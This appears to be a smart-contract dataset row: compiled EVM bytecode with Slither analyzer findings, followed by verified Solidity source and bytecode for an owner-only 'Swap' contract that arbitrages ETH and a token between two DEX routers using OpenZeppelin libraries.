6020020151600160a060020a03168152602081019190915260400160002055828181518110610e7957fe5b90602001906020020151600160a060020a03167f1bd6fb9fa2c39ce5d0d2afa1eaba998963eb5f553fd862c94f131aa9e35c1577838381518110610eb957fe5b9060200190602002015160405190815260200160405180910390a2600101610dc6565b505050565b600160a060020a031660009081526008602052604090205490565b60015460009033600160a060020a03908116911614610f1a57600080fd5b60075460ff1615610f2a57600080fd5b6007805460ff191660011790557fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a150600190565b600154600160a060020a031681565b60008060008084118015610f8d575060008551115b8015610fb25750600160a060020a0333166000908152600a602052604090205460ff16155b8015610fd55750600160a060020a0333166000908152600b602052604090205442115b1515610fe057600080fd5b610ff4846305f5e10063ffffffff61200f16565b93506110088551859063ffffffff61200f16565b600160a060020a0333166000908152600860205260409020549092508290101561103157600080fd5b5060005b84518110156111b95784818151811061104a57fe5b90602001906020020151600160a060020a03161580159061109f5750600a600086838151811061107657fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b80156110e45750600b60008683815181106110b657fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b15156110ef57600080fd5b611133846008600088858151811061110357fe5b90602001906020020151600160a060020a031681526020810191909152604001600020549063ffffffff61200016565b6008600087848151811061114357fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205584818151811061117357fe5b90602001906020020151600160a060020a031633600160a060020a031660008051602061243b8339815191528660405190815260200160405180910390a3600101611035565b600160a060020a0333166000908152600860205260409020546111e2908363ffffffff611fee16565b33600160a060020a0316600090815260086020526040902055506001949350505050565b61120e612428565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109b45780601f10610989576101008083540402835291602001916109b4565b60015433600160a060020a0390811691161461129457600080fd5b6000811180156112bd5750600160a060020a038216600090815260086020526040902054819010155b15156112c857600080fd5b600160a060020a0382166000908152600860205260409020546112f1908263ffffffff611fee16565b600160a060020a03831660009081526008602052604090205560055461131d908263ffffffff611fee16565b600555600160a060020a0382167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58260405190815260200160405180910390a25050565b600061136b612428565b6000831180156113945750600160a060020a0333166000908152600a602052604090205460ff16155b80156113b95750600160a060020a0384166000908152600a602052604090205460ff16155b80156113dc5750600160a060020a0333166000908152600b602052604090205442115b80156113ff5750600160a060020a0384166000908152600b602052604090205442115b151561140a57600080fd5b6114138461203a565b1561142a57611423848483612042565b9150611435565b6114238484836122a5565b5092915050565b600a6020526000908152604090205460ff1681565b6000808311801561147b5750600160a060020a0333166000908152600a602052604090205460ff16155b80156114a05750600160a060020a0384166000908152600a602052604090205460ff16155b80156114c35750600160a060020a0333166000908152600b602052604090205442115b80156114e65750600160a060020a0384166000908152600b602052604090205442115b15156114f157600080fd5b6114fa8461203a565b156115115761150a848484612042565b9050610c38565b61150a8484846122a5565b60015460009033600160a060020a0390811691161461153a57600080fd5b600083511161154857600080fd5b5060005b8251811015610edc5782818151811061156157fe5b90602001906020020151600160a060020a0316151561157f57600080fd5b81600a600085848151811061159057fe5b90602001906020020151600160a060020a031681526020810191909152604001600020805460ff19169115159190911790558281815181106115ce57fe5b90602001906020020151600160a060020a03167f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a583604051901515815260200160405180910390a260010161154c565b600b6020526000908152604090205481565b60015433600160a060020a0390811691161461164b57600080fd5b600655565b600160a060020a03918216600090815260096020908152604080832093909416825291909152205490565b6000806000808551118015611691575083518551145b80156116b65750600160a060020a0333166000908152600a602052604090205460ff16155b80156116d95750600160a060020a0333166000908152600b602052604090205442115b15156116e457600080fd5b5060009050805b845181101561183657600084828151811061170257fe5b90602001906020020151118015611736575084818151811061172057fe5b90602001906020020151600160a060020a031615155b80156117765750600a600086838151811061174d57fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b80156117bb5750600b600086838151811061178d57fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b15156117c657600080fd5b6117f06305f5e1008583815181106117da57fe5b906020019060200201519063ffffffff61200f16565b8482815181106117fc57fe5b6020908102909101015261182c84828151811061181557fe5b90602001906020020151839063ffffffff61200016565b91506001016116eb565b600160a060020a0333166000908152600860205260409020548290101561185c57600080fd5b5060005b84518110156111b95761189284828151811061187857fe5b906020019060200201516008600088858151811061110357fe5b600860008784815181106118a257fe5b90602001906020020151600160a060020a031681526020810191909152604001600020558481815181106118d257fe5b90602001906020020151600160a060020a031633600160a060020a031660008051602061243b83398151915286848151811061190a57fe5b9060200190602002015160405190815260200160405180910390a3600101611860565b6001546000908190819033600160a060020a0390811691161461194f57600080fd5b60008551118015611961575083518551145b151561196c57600080fd5b5060009050805b8451811015611bd257600084828151811061198a57fe5b906020019060200201511180156119be57508481815181106119a857fe5b90602001906020020151600160a060020a031615155b80156119fe5750600a60008683815181106119d557fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b8015611a435750600b6000868381518110611a1557fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b1515611a4e57600080fd5b611a626305f5e1008583815181106117da57fe5b848281518110611a6e57fe5b60209081029091010152838181518110611a8457fe5b9060200190602002015160086000878481518110611a9e57fe5b90602001906020020151600160a060020a031681526020810191909152604001600020541015611acd57600080fd5b611b26848281518110611adc57fe5b9060200190602002015160086000888581518110611af657fe5b90602001906020020151600160a060020a031681526020810191909152604001600020549063ffffffff611fee16565b60086000878481518110611b3657fe5b90602001906020020151600160a060020a03168152602081019190915260400160002055611b6984828151811061181557fe5b915033600160a060020a0316858281518110611b8157fe5b90602001906020020151600160a060020a031660008051602061243b833981519152868481518110611baf57fe5b9060200190602002015160405190815260200160405180910390a3600101611973565b600160a060020a0333166000908152600860205260409020546111e2908363ffffffff61200016565b60015433600160a060020a03908116911614611c1657600080fd5b600160a060020a0381161515611c2b57600080fd5b600154600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008084118015611cc05750600160a060020a0333166000908152600a602052604090205460ff16155b8015611ce55750600160a060020a0385166000908152600a602052604090205460ff16155b8015611d085750600160a060020a0333166000908152600b602052604090205442115b8015611d2b5750600160a060020a0385166000908152600b602052604090205442115b1515611d3657600080fd5b611d3f8561203a565b15611fd857600160a060020a03331660009081526008602052604090205484901015611d6a57600080fd5b600160a060020a033316600090815260086020526040902054611d93908563ffffffff611fee16565b600160a060020a033381166000908152600860205260408082209390935590871681522054611dc8908563ffffffff61200016565b600160a060020a0386166000818152600860205260408082209390935590918490518082805190602001908083835b60208310611e165780518252601f199092019160209182019101611df7565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902060e060020a9004903387876040518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b83811015611ea7578082015183820152602001611e8f565b50505050905090810190601f168015611ed45780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185886187965a03f193505050501515611ef857fe5b826040518082805190602001908083835b60208310611f285780518252601f199092019160209182019101611f09565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a484600160a060020a031633600160a060020a031660008051602061243b8339815191528660405190815260200160405180910390a3506001611fe6565b611fe38585856122a5565b90505b949350505050565b600082821115611ffa57fe5b50900390565b600082820183811015610c3857fe5b6000808315156120225760009150611435565b5082820282848281151561203257fe5b0414610c3857fe5b6000903b1190565b600160a060020a03331660009081526008602052604081205481908490101561206a57600080fd5b600160a060020a033316600090815260086020526040902054612093908563ffffffff611fee16565b600160a060020a0333811660009081526008602052604080822093909355908716815220546120c8908563ffffffff61200016565b600160a060020a03861660008181526008602052604090819020929092558692509063c0ee0b8a90339087908790518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015612161578082015183820152602001612149565b50505050905090810190601f16801561218e5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b15156121ae57600080fd5b6102c65a03f115156121bf57600080fd5b505050826040518082805190602001908083835b602083106121f25780518252601f1990920191602091820191016121d3565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a484600160a060020a031633600160a060020a031660008051602061243b8339815191528660405190815260200160405180910390a3506001949350505050565b600160a060020a033316600090815260086020526040812054839010156122cb57600080fd5b600160a060020a0333166000908152600860205260409020546122f4908463ffffffff611fee16565b600160a060020a033381166000908152600860205260408082209390935590861681522054612329908463ffffffff61200016565b600160a060020a03851660009081526008602052604090819020919091558290518082805190602001908083835b602083106123765780518252601f199092019160209182019101612357565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902084600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168660405190815260200160405180910390a483600160a060020a031633600160a060020a031660008051602061243b8339815191528560405190815260200160405180910390a35060019392505050565b602060405190810160405260008152905600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820bf1f8cfca71354ab3f1f6fa9d1f0d9a668b6a8056c6a4d2f5447431e899972c00029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 7,845 |
0x365ffc1b9a8a38ebddab62aea7050ec3e098bf2b
|
/**
*Submitted for verification at Etherscan.io on 2021-10-10
*/
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(
data
);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
return
functionStaticCall(
target,
data,
"Address: low-level static call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return
functionDelegateCall(
target,
data,
"Address: low-level delegate call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transfer.selector, to, value)
);
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, value)
);
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(
token,
abi.encodeWithSelector(
token.approve.selector,
spender,
newAllowance
)
);
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(
oldAllowance >= value,
"SafeERC20: decreased allowance below zero"
);
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(
token,
abi.encodeWithSelector(
token.approve.selector,
spender,
newAllowance
)
);
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(
data,
"SafeERC20: low-level call failed"
);
if (returndata.length > 0) {
// Return data is optional
require(
abi.decode(returndata, (bool)),
"SafeERC20: ERC20 operation did not succeed"
);
}
}
}
interface UniRouter {
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
}
contract Swap {
using SafeERC20 for IERC20;
IERC20 weth = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
address public owner;
constructor() {
owner = msg.sender;
}
function arb(
address fromRouterAddress,
address toRouterAddress,
address tokenAddress,
uint256 minOutputTokens,
uint256 minOutputEth
) public payable {
require(msg.sender == owner);
IERC20 token = IERC20(tokenAddress);
UniRouter fromRouter = UniRouter(fromRouterAddress);
UniRouter toRouter = UniRouter(toRouterAddress);
// Swap ETH for tokens
address[] memory path = new address[](2);
path[0] = address(weth);
path[1] = address(token);
fromRouter.swapExactETHForTokens{value: msg.value}(
minOutputTokens,
path,
address(this),
block.timestamp + 1 hours
);
// Approve token if needed
uint256 tokensReceived = token.balanceOf(address(this));
uint256 allowance = token.allowance(address(this), toRouterAddress);
if (allowance < tokensReceived) {
if (allowance > 0) {
token.safeApprove(toRouterAddress, 0);
}
token.safeApprove(toRouterAddress, tokensReceived);
}
// Swap tokens back to ETH
address[] memory path2 = new address[](2);
path2[0] = address(token);
path2[1] = address(weth);
toRouter.swapExactTokensForETH(
tokensReceived,
minOutputEth,
path2,
msg.sender,
block.timestamp + 1 hours
); // as per documentation of the swapExactTokensForETH function, the second argument is the minimum output value so if the output eth < minOutputEth, the txn will revert.
}
}
|
0x6080604052600436106100295760003560e01c80638da5cb5b1461002e578063caea5f9814610059575b600080fd5b34801561003a57600080fd5b50610043610075565b6040516100509190610d86565b60405180910390f35b610073600480360381019061006e9190610ab8565b61009b565b005b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146100f557600080fd5b6000839050600086905060008690506000600267ffffffffffffffff81111561012157610120611157565b5b60405190808252806020026020018201604052801561014f5781602001602082028036833780820191505090505b50905060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff168160008151811061018757610186611128565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505083816001815181106101d6576101d5611128565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508273ffffffffffffffffffffffffffffffffffffffff16637ff36ab534888430610e104261023e9190610ff7565b6040518663ffffffff1660e01b815260040161025d9493929190610e95565b6000604051808303818588803b15801561027657600080fd5b505af115801561028a573d6000803e3d6000fd5b50505050506040513d6000823e3d601f19601f820116820180604052508101906102b49190610b33565b5060008473ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016102f09190610d86565b60206040518083038186803b15801561030857600080fd5b505afa15801561031c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103409190610ba9565b905060008573ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e308c6040518363ffffffff1660e01b815260040161037f929190610da1565b60206040518083038186803b15801561039757600080fd5b505afa1580156103ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103cf9190610ba9565b90508181101561043b57600081111561040f5761040e8a60008873ffffffffffffffffffffffffffffffffffffffff166105fb9092919063ffffffff16565b5b61043a8a838873ffffffffffffffffffffffffffffffffffffffff166105fb9092919063ffffffff16565b5b6000600267ffffffffffffffff81111561045857610457611157565b5b6040519080825280602002602001820160405280156104865781602001602082028036833780820191505090505b509050868160008151811061049e5761049d611128565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff168160018151811061050d5761050c611128565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508473ffffffffffffffffffffffffffffffffffffffff166318cbafe5848a8433610e10426105759190610ff7565b6040518663ffffffff1660e01b8152600401610595959493929190610ee1565b600060405180830381600087803b1580156105af57600080fd5b505af11580156105c3573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052508101906105ec9190610b33565b50505050505050505050505050565b6000811480610694575060008373ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e30856040518363ffffffff1660e01b8152600401610642929190610da1565b60206040518083038186803b15801561065a57600080fd5b505afa15801561066e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106929190610ba9565b145b6106d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ca90610e75565b60405180910390fd5b6107548363095ea7b360e01b84846040516024016106f2929190610dca565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050610759565b505050565b60006107bb826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff166108209092919063ffffffff16565b905060008151111561081b57808060200190518101906107db9190610b7c565b61081a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081190610e55565b60405180910390fd5b5b505050565b606061082f8484600085610838565b90509392505050565b60608247101561087d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087490610e15565b60405180910390fd5b6108868561094c565b6108c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108bc90610e35565b60405180910390fd5b6000808673ffffffffffffffffffffffffffffffffffffffff1685876040516108ee9190610d6f565b60006040518083038185875af1925050503d806000811461092b576040519150601f19603f3d011682016040523d82523d6000602084013e610930565b606091505b509150915061094082828661095f565b92505050949350505050565b600080823b905060008111915050919050565b6060831561096f578290506109bf565b6000835111156109825782518084602001fd5b816040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b69190610df3565b60405180910390fd5b9392505050565b60006109d96109d484610f60565b610f3b565b905080838252602082019050828560208602820111156109fc576109fb61118b565b5b60005b85811015610a2c5781610a128882610aa3565b8452602084019350602083019250506001810190506109ff565b5050509392505050565b600081359050610a45816112c1565b92915050565b600082601f830112610a6057610a5f611186565b5b8151610a708482602086016109c6565b91505092915050565b600081519050610a88816112d8565b92915050565b600081359050610a9d816112ef565b92915050565b600081519050610ab2816112ef565b92915050565b600080600080600060a08688031215610ad457610ad3611195565b5b6000610ae288828901610a36565b9550506020610af388828901610a36565b9450506040610b0488828901610a36565b9350506060610b1588828901610a8e565b9250506080610b2688828901610a8e565b9150509295509295909350565b600060208284031215610b4957610b48611195565b5b600082015167ffffffffffffffff811115610b6757610b66611190565b5b610b7384828501610a4b565b91505092915050565b600060208284031215610b9257610b91611195565b5b6000610ba084828501610a79565b91505092915050565b600060208284031215610bbf57610bbe611195565b5b6000610bcd84828501610aa3565b91505092915050565b6000610be28383610bee565b60208301905092915050565b610bf78161104d565b82525050565b610c068161104d565b82525050565b6000610c1782610f9c565b610c218185610fca565b9350610c2c83610f8c565b8060005b83811015610c5d578151610c448882610bd6565b9750610c4f83610fbd565b925050600181019050610c30565b5085935050505092915050565b6000610c7582610fa7565b610c7f8185610fdb565b9350610c8f818560208601611095565b80840191505092915050565b6000610ca682610fb2565b610cb08185610fe6565b9350610cc0818560208601611095565b610cc98161119a565b840191505092915050565b6000610ce1602683610fe6565b9150610cec826111ab565b604082019050919050565b6000610d04601d83610fe6565b9150610d0f826111fa565b602082019050919050565b6000610d27602a83610fe6565b9150610d3282611223565b604082019050919050565b6000610d4a603683610fe6565b9150610d5582611272565b604082019050919050565b610d698161108b565b82525050565b6000610d7b8284610c6a565b915081905092915050565b6000602082019050610d9b6000830184610bfd565b92915050565b6000604082019050610db66000830185610bfd565b610dc36020830184610bfd565b9392505050565b6000604082019050610ddf6000830185610bfd565b610dec6020830184610d60565b9392505050565b60006020820190508181036000830152610e0d8184610c9b565b905092915050565b60006020820190508181036000830152610e2e81610cd4565b9050919050565b60006020820190508181036000830152610e4e81610cf7565b9050919050565b60006020820190508181036000830152610e6e81610d1a565b9050919050565b60006020820190508181036000830152610e8e81610d3d565b9050919050565b6000608082019050610eaa6000830187610d60565b8181036020830152610ebc8186610c0c565b9050610ecb6040830185610bfd565b610ed86060830184610d60565b95945050505050565b600060a082019050610ef66000830188610d60565b610f036020830187610d60565b8181036040830152610f158186610c0c565b9050610f246060830185610bfd565b610f316080830184610d60565b9695505050505050565b6000610f45610f56565b9050610f5182826110c8565b919050565b6000604051905090565b600067ffffffffffffffff821115610f7b57610f7a611157565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b60006110028261108b565b915061100d8361108b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611042576110416110f9565b5b828201905092915050565b60006110588261106b565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60005b838110156110b3578082015181840152602081019050611098565b838111156110c2576000848401525b50505050565b6110d18261119a565b810181811067ffffffffffffffff821117156110f0576110ef611157565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f416464726573733a20696e73756666696369656e742062616c616e636520666f60008201527f722063616c6c0000000000000000000000000000000000000000000000000000602082015250565b7f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000600082015250565b7f5361666545524332303a204552433230206f7065726174696f6e20646964206e60008201527f6f74207375636365656400000000000000000000000000000000000000000000602082015250565b7f5361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f60008201527f20746f206e6f6e2d7a65726f20616c6c6f77616e636500000000000000000000602082015250565b6112ca8161104d565b81146112d557600080fd5b50565b6112e18161105f565b81146112ec57600080fd5b50565b6112f88161108b565b811461130357600080fd5b5056fea26469706673582212200de728036aaa79e3ebd9fda726210ab1b81052a93d533008c4d6ac8d038e8e4f64736f6c63430008070033
|
